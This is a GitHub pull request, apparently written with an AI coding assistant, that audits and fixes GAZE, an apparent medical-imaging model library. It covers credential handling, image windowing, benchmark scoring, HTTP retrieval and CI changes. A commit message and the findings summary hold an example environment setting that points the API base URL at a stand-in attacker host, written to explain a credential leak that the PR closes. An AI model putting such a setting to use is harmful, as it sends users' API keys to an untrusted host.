Repository navigation
Repository audit: security, scoring, and retrieval fixes (0.2.0) - #29
Merged
Merged
Conversation
AsyncOpenAI falls back to the OPENAI_BASE_URL environment variable on its
own, so a base URL set that way never reached _validate_base_url. Both the
HTTPS requirement and the GAZE_ALLOW_CUSTOM_BASE_URL opt-in, whose stated
purpose is to prevent accidental credential leakage, were bypassed:
OPENAI_BASE_URL=http://attacker.example/v1
-> API key sent in plaintext to an arbitrary host
Resolve and validate the variable before constructing the client. HTTP is
refused, unlisted HTTPS hosts are refused, and the documented opt-in still
works.
Also widen the retry policy, which covered neither connection errors nor
5xx while the client is built with max_retries=0, so a single 503 or DNS
blip aborted a whole multi-turn run. Retries now cover APIConnectionError
and InternalServerError and honour a server-supplied Retry-After (clamped,
so a hostile header cannot stall the run). Permanent 4xx stay non-retryable.
Drop the duck-typed close/aclose fallbacks in aclose(): _client is always
AsyncOpenAI, which has an async close() and no aclose, so both branches
guarded an impossible state and were reachable only from mocks.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
Four bugs in the multi-turn loop, each reproduced before fixing: - The nudge budget reset on any parsed JSON object, so a model returning well-formed but schema-invalid output sat at "Nudge 1/2" forever: the force-finalize escalation never fired and every turn went to the same soft nudge. Only a response passing validate_response refills it now. - analyze() closed a caller-supplied PIL Image. ImageInput tracks owns_pil_image, so only pixels GAZE decoded are closed. - Reusing a processor across an image run and a text-only run advertised the image run's 23 visual tools on the text-only call, which the registry then rejected as unknown. The schema and prompt-doc caches are keyed on whether images were supplied. - The idle-tool guard required zero tool calls for the entire run, so one early call disabled it and a stalled model burned every remaining turn. It counts consecutive tool-free turns, and force-accepts only a response that validates. Consolidate the four response-recovery paths (per turn, both salvage paths, the final check) into one _recover_response. They had grown four different step orders, so a response accepted on one path could be rejected on another purely by which branch produced it. Inner-schema wrapping now runs per turn too, so a model returning a bare inner object recovers on turn 1 rather than after the loop ends. An unrecognized "continue" value (1.0, "maybe") ended the run by exception on turn 1 while every neighbouring malformed-output case is recoverable; numeric values coerce like ints and anything else is treated as False, exactly as a missing flag is. Also: collapse five near-identical nudge blocks into one helper; close the file handle when a decode fails after the header check (a truncated file); release the full-resolution source in _downscale_image; defer encoding in from_pil so a downscaled 2000x2000 input encodes 65k pixels, not 4M; and drop TTLCache's close-handling, which both real caches (plain lists) never used and only mocks exercised. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
PIL's convert("L")/convert("RGB") clips above 255 rather than rescaling, so
a 12-bit MR slice with a real maximum of 4095 reached the model as solid
white above 255 and measured as if its maximum were 255. registry.py names
I;16 DICOM-converted PNGs as expected input, so this was the main path, not
an edge case. Add to_uint8_grayscale, which windows I/I;16*/F by actual
range, and use it in encode_image and all ten intensity sites.
morphological_op(iterations=n) was a silent no-op for open and close:
opening is idempotent, so repeating the composite does nothing while the
model was told "x3". Iterations now scale the structuring element.
Tool results are downscaled before encoding (max_tool_encode_dimension,
default 1024). Two successive zooms produced a ~1 MB base64 payload re-sent
on every following turn; it is now ~17 KB. The manager keeps the image at
full resolution, so measurements are unaffected.
Other arithmetic corrections:
- measure_distance scaled normalized points by width instead of width-1,
reporting 362 px across a 256 px image and disagreeing with the line
compute_intensity_profile samples.
- compute_intensity_profile truncated sample positions, biasing every
off-grid sample toward the start point by up to a full pixel.
- crop reported the requested area percentage, not the truncated area it
actually produced.
- adaptive_equalize gave the last tile row/column the whole remainder (16
rows instead of 12 at tile_size=8 on a 100px image) while interpolating
as though tiles were uniform. Tiles now spread the remainder evenly and
interpolate against real centres; the worst boundary artefact drops from
21x the median local curvature to 3x.
- Grid labels ran past 'Z' into punctuation; columns continue AA, AB, and
the drawn labels and cell_labels metadata come from one function.
EncodedImage builds its data URL lazily (it was eagerly keeping a second
~500 KB copy that only input images read), the registry's execution history
is removed (up to 100 encoded images retained for no in-repo consumer), and
the normalize-then-range-check pair behind box/point arguments is one helper
rather than five copies.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
GAZE carried two HTTP stacks: httpx (already pulled in by the openai client) for model adapters and aiohttp for retrieval. Migrating retrieval to httpx removes aiohttp, yarl, and multidict from the runtime dependency closure. Verified against a real local HTTP server, not only mocks, which is how a mistake in the migration itself (HTTPStatusError has no .status) was caught. NCBI enforces 3 requests/second per IP (10 with a key) by blocking the IP. Sleeping between calls did not bound concurrent callers: esummary and efetch fired simultaneously via gather, and two searches in one agentic turn multiplied that again. All three request types now pass through one shared AsyncRateLimiter per engine at the documented limits, which is also faster than the previous fixed 1s sleep. Non-retryable HTTP statuses (4xx other than 429) were retried three times with back-off before failing; they now fail immediately. Malformed PubMed and Open-i payloads raised AttributeError/TypeError out of tool execution, where neither the retry wrapper (ClientError) nor the tool boundary (ImageSearchError/ValueError) catches them. Non-object records and non-string fields are skipped, and _sanitize_api_field absorbs non-strings centrally. asyncio.gather propagated the first fetch error without cancelling its sibling, leaving an orphaned request running against a session the retry path may already have closed, still counted against the NCBI quota. Retrieval tests now use httpx.MockTransport via shared conftest fixtures, which exercises the real client path (parameter encoding, raise_for_status, JSON decoding) instead of hand-built async context managers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
CHANGES REPORTED NOVA NUMBERS. Results computed before this commit must be regenerated; every change moves scores in the direction of being harder to inflate. - compute_iou silently reordered transposed corners, so a prediction of [0.8,0.8,0.2,0.2] scored 1.0 against [0.2,0.2,0.8,0.8]. That is gameable where the score feeds an RL reward. Inverted boxes score 0.0; lenient=True restores the old behaviour, which GEMeX uses after clamping. - Detection matching consumed ground truth in the order the model listed its findings rather than by confidence, so recall and precision moved with output ordering. Found by search: the same two predictions scored 2 TP / 0 FP one way and 1 TP / 1 FP / 1 FN the other. - Images with no ground truth contributed 1.0 to mAP when the model correctly predicted nothing, pulling the mean toward 1.0 exactly where labels are missing. Excluded, as COCO does. - compute_diagnosis_reward gave full credit when prediction and reference were both empty (both normalize to ""), so a sample with a missing diagnosis label paid 0.34 of the weighted task="all" reward for saying nothing. The standalone environment already guarded this. - normalize_diagnosis_string never stripped punctuation, so a trailing "." made an otherwise identical diagnosis fail exact match. The NOVA environment sent file:// image URLs to a remote OpenAI-compatible model, which has no filesystem access, so its caption and localization tasks scored against an image the model never saw. Images are inlined as base64 data URLs. The environment was also uninstallable: it pinned pillow>=10,<12 against gaze-vlm's pillow>=12.2. GazeAdapter paired tool results with tool calls by position in two independently flattened lists, so one turn with unequal counts mislabelled the tool_call_id of every later result; the assistant message also omitted tool_calls, leaving those messages orphaned. Pairing happens per turn. IoUReward returned 0.0 for a correct pixel-space box whenever image_area was absent. The coordinate space is the experimenter's declaration, not something the model picks, so there is no gaming vector to fail closed against; the penalty is skipped only when the area is genuinely unknown and still applies whenever it is known. ExactMatchReward raised AttributeError on a list-valued gold answer, and normalize=True never collapsed whitespace unless strip_braces was also set. Statistical helpers no longer label descriptive relative-change bands "significant" (no test is run and no p-value exists), and the results key that held no test is named descriptive_comparisons. Removed the unused get_ground_truth_by_subject_id, which looked ground truth up by CSV insertion order while predictions are indexed by parquet row order. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
Bump to 0.2.0 across __init__.py, CITATION.cff, and the changelog. The sweep makes several source-incompatible changes (compute_iou semantics, ToolRegistry.history, EncodedImage._data_url, aiohttp, the HuggingFace adapters leaving __all__), listed under Removed. CITATION.cff still declared 0.1.0 through the whole 0.1.1 release because nothing checked it; the publish workflow now verifies it alongside __version__. examples/aiih2026_paper/ was 133 MB of untracked, gitignored paper working files living in the tree. Moved to ~/papers/aiih2026/, and with it the three carve-outs that existed only for it: the gitignore entry, the ruff extend-exclude, and the --ignore in CI and the Makefile. examples/ is now linted with no exceptions. Three tests that referenced it could only ever skip in a clean checkout and are removed, so the suite has no skips. The HuggingFace adapters leave __all__: a star import resolves every name in it through __getattr__, which would import torch and defeat the very deferral they exist for. They remain importable by name. Corrections to documentation that no longer matched the code: - CLAUDE.md claimed all of examples/ was excluded from ruff, and that pyright excludes openai_adapter.py. Neither was true. - docs/verifiers_integration.md documented three BaseMultiTurnEnv hooks that do not exist (build_initial_state, is_completed, and a two-tuple env_response) and omitted IoUReward's continuous and area_penalty_start parameters along with its behaviour on pixel coordinates. Drop the scripts/**/*.py configuration in ruff, pyright, and coverage: that directory holds only shell scripts. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| """ | ||
| import contextlib | ||
|
|
||
| import gaze |
| """Same contract as the adapter above: importable by name, not via star.""" | ||
| import contextlib | ||
|
|
||
| import gaze |
Three failures on the branch, none of which reproduce in a local environment that has the nova extra installed: - tests/test_nova_detection_prompts.py loaded caption.py at import time to exercise the real keyword tokenizer rather than a copy of it, but caption.py imports nltk, which only the nova extra provides. Collection therefore failed in the core job. The load is guarded and those tests skip without nltk, so they run in the integration job where the extra exists. - detect-secrets flags "OPENAI_API_KEY" adjacent to any string literal, independent of the value. The new base-URL tests carry the tool's documented inline pragma. - pip-audit reported advisories against pillow, pydantic-settings, python-multipart, starlette, aiohttp, cryptography, datasets, and mcp. These are CVEs published since the last lock refresh, not a regression from this branch: the versions match main exactly. Refreshed those packages; the audit is clean and the full suite passes on them, including datasets 4.8.5 -> 5.0.1. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
Welcome to Codecov 🎉Once you merge this PR into your default branch, you're all set! Codecov will compare coverage reports and display results in all future pull requests. Thanks for integrating Codecov - We've got you covered ☂️ |
Two live integration tests already existed but nothing ever ran them: they are deselected by the default -m "not integration" filter, and the CI job named "integration" runs the nova-extra suite, not -m integration. So the retrieval layer had no coverage against real endpoints, which is exactly where the httpx migration carried the most risk. Add a scheduled workflow that actually runs them, plus workflow_dispatch so they can be run on a branch before merging retrieval changes. Deliberately not part of the PR gate: these call third-party research APIs, so an upstream outage would block unrelated merges, and per-push runs would put avoidable load on them. One Python version, and a concurrency group, for the same reason. Add a third test covering image download, the one retrieval path the mocked suite cannot stand in for: streaming over a real connection, a live server's Content-Type and Content-Length, and the SSRF gate applied to a URL that came from an external API rather than a fixture. Tighten the skip condition. All three tests previously skipped on any SearchError, which a broken parser raises just as readily as a dead service, so a regression would have looked like an outage. _skip_if_upstream_ unavailable walks the cause chain and skips only for transport failures and 5xx/429; a 4xx or a parse error now fails the test. Verified live against NCBI and Open-i: PubMed search and image download pass, and Open-i search intermittently returns 502, which the retry policy recovers and the skip guard classifies correctly. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
schedule and workflow_dispatch only register once a workflow file is on the default branch, so neither could be exercised before this merges. Add a pull_request trigger narrowed to the retrieval code and these tests, which runs the job on this PR and on any future change to the code it covers. Safe as a PR trigger now that _skip_if_upstream_unavailable classifies 5xx/429/transport failures as skips: an upstream outage leaves the job passing, and only a genuine request or parsing regression fails it. The paths filter keeps the load on the public research APIs proportionate. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Adversarial audit of the whole repository, with fixes. Six commits, each self-contained; read them individually rather than the squashed diff.
Read this first
151e17fchanges reported NOVA numbers. Strict IoU, confidence-ordered detection matching, mAP excluding ground-truth-less images, and diagnosis rewards no longer paying out for empty ground truth. Every change makes scores harder to inflate, but results computed before it must be regenerated. It is isolated in one commit so it is easy to find, review, or revert independently.Commits
2e66fecOPENAI_BASE_URLbypassed the adapter's own base-URL allowliste14d386a0faeb7462f28d151e17f40f5668Selected findings
Credential leak.
AsyncOpenAIreadsOPENAI_BASE_URLitself, so the adapter's allowlist and itsGAZE_ALLOW_CUSTOM_BASE_URLopt-in never ran.OPENAI_BASE_URL=http://attacker.example/v1sent the API key in plaintext to an arbitrary host.12-bit images were clipped, not windowed.
convert("L")clips above 255, so a DICOM-converted MR slice with a real maximum of 4095 reached the model as solid white and measured as if its maximum were 255.registry.pynamesI;16input as expected, so this was the main path.Detection matching depended on output order. Greedy matching consumed ground truth in the order the model listed findings. Found by search: identical predictions scored 2 TP / 0 FP one way and 1 TP / 1 FP / 1 FN the other.
The NOVA environment could not work. It sent
file://URLs to a remote model with no filesystem access, so caption and localization scored against an image the model never saw. It was also uninstallable, pinningpillow>=10,<12againstgaze-vlm'spillow>=12.2.Nudge escalation was dead. The budget reset on any parsed JSON, so a model returning well-formed but invalid output sat at "Nudge 1/2" forever and burned every turn.
analyze()closed the caller's PIL image, on the documented public path.Silent no-op.
morphological_op(iterations=3)did exactly whatiterations=1does for open/close, while telling the model "x3".Also
aiohttp,yarl, andmultidictleave the runtime closure. Verified against a real local HTTP server, which caught a mistake in the migration itself.examples/aiih2026_paper/(133 MB, untracked) moved to~/papers/aiih2026/, with the three carve-outs that existed only for it.httpx.MockTransportin place of hand-built async context managers.Rejected findings
Not everything the audit surfaced was real.
IoURewardorder-dependence (per-box confidence exists and is passed through), an "unguarded bool coordinate" crash (beartype catches it),from gaze import *importing torch (it does not), and per-component coordinate normalization (would break pixel boxes near the origin) were all checked and declined with evidence.Validation
Every fix was reproduced before the change and verified after; the CLAHE seam, matching order, and encode counts were measured numerically, and the rewritten tests were mutation-tested by reverting each fix.
Gate on the branch tip: ruff, format,
pyright src/(0 errors),uv lock --check, 2165 tests passing, 0 skipped, plus a clean-venv install of 0.2.0.The tip was verified, not each commit individually. Retrieval still has no live integration coverage in CI, so the first real network run is the true test of the httpx migration.
🤖 Generated with Claude Code
https://claude.ai/code/session_01XcXFgohFaoKtdXttuEAbKT